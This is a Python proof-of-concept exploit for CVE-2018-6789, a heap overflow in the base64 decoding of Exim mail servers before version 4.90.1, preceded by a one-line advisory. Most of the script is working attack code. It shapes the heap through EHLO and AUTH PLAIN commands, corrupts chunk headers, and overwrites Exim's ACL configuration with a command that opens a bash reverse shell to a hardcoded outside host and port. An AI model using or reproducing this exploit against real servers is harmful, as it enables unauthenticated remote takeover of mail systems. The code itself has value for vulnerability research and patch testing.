Exim versions prior to 4.90.1 suffer from a base64d remote code execution vulnerability.
ef4f89036ca7319be07398da99805c49#!/usr/bin/python
import time
import socket
import struct
s = None
f = None
def logo():
print
print " CVE-2018-6789 Poc Exploit"
print "@straight_blast ; [email protected]"
print
def connect(host, port):
global s
global f
s = socket.create_connection((host,port))
f = s.makefile('rw', bufsize=0)
def p(v):
return struct.pack("<Q", v)
def readuntil(delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def write(data):
f.write(data + "\n")
def ehlo(v):
write("EHLO " + v)
readuntil('HELP')
def unrec(v):
write(v)
readuntil('command')
def auth_plain(v):
encode = v.encode('base64').replace('\n','').replace('=','')
write("AUTH PLAIN " + encode)
readuntil('data')
def one_byte_overwrite():
v = "C" * 8200
encode = v.encode('base64').replace('\n','').replace('=','')
encode = encode[:-1] + "PE"
write("AUTH PLAIN " + encode)
readuntil('data')
def exploit():
logo()
connect('localhost', 25)
print "[1] connected to target"
time.sleep(0.5)
ehlo("A" * 8000)
ehlo("B" * 16)
print "[2] created free chunk size 0x6060 in unsorted bin"
unrec("\xff" * 2000)
ehlo("D" * 8200)
one_byte_overwrite()
print "[3] triggered 1 byte overwrite to extend target chunk size from 0x2020 to 0x20f0"
fake_header = p(0)
fake_header += p(0x1f51)
auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header)))
print "[4] patched chunk with fake header so extended chunk can be freed"
ehlo("F" * 16)
print "[5] freed extended chunk"
unrec("\xff" * 2000)
unrec("\xff" * 2000)
print "[6] occupied 1st and 3rd item in unsorted bin with fillers"
fake_header = p(0x4110)
fake_header += p(0x1f50)
auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header)))
print "[7] patched chunk with fake header so extended chunk can be allocated"
address = 0x55d7e5864480
auth_plain("H" * 8200 + p(0x2021) + p(address) + p(0x2008) + "H" * 184)
print "[8] overwrite 'next' pointer with ACL store block address"
ehlo("I" * 16)
print "[9] freed the ACL store block"
acl_smtp_rcpt_offset = 288
local_host = '192.168.0.159'
local_port = 1337
cmd = "/bin/bash -c \"/bin/bash -i >& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\""
cmd_expansion_string = "${run{" + cmd + "}}\0"
auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "J" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string)))
print "[10] malloced ACL store block and overwrite the content of 'acl_smtp_rcpt' with shell expression"
write("MAIL FROM:<[email protected]>")
readuntil("OK")
write("RCPT TO:<[email protected]>")
print "[11] triggered RCPT TO and executing shell expression ... enjoy your shell!"
print
if __name__ == '__main__':
exploit()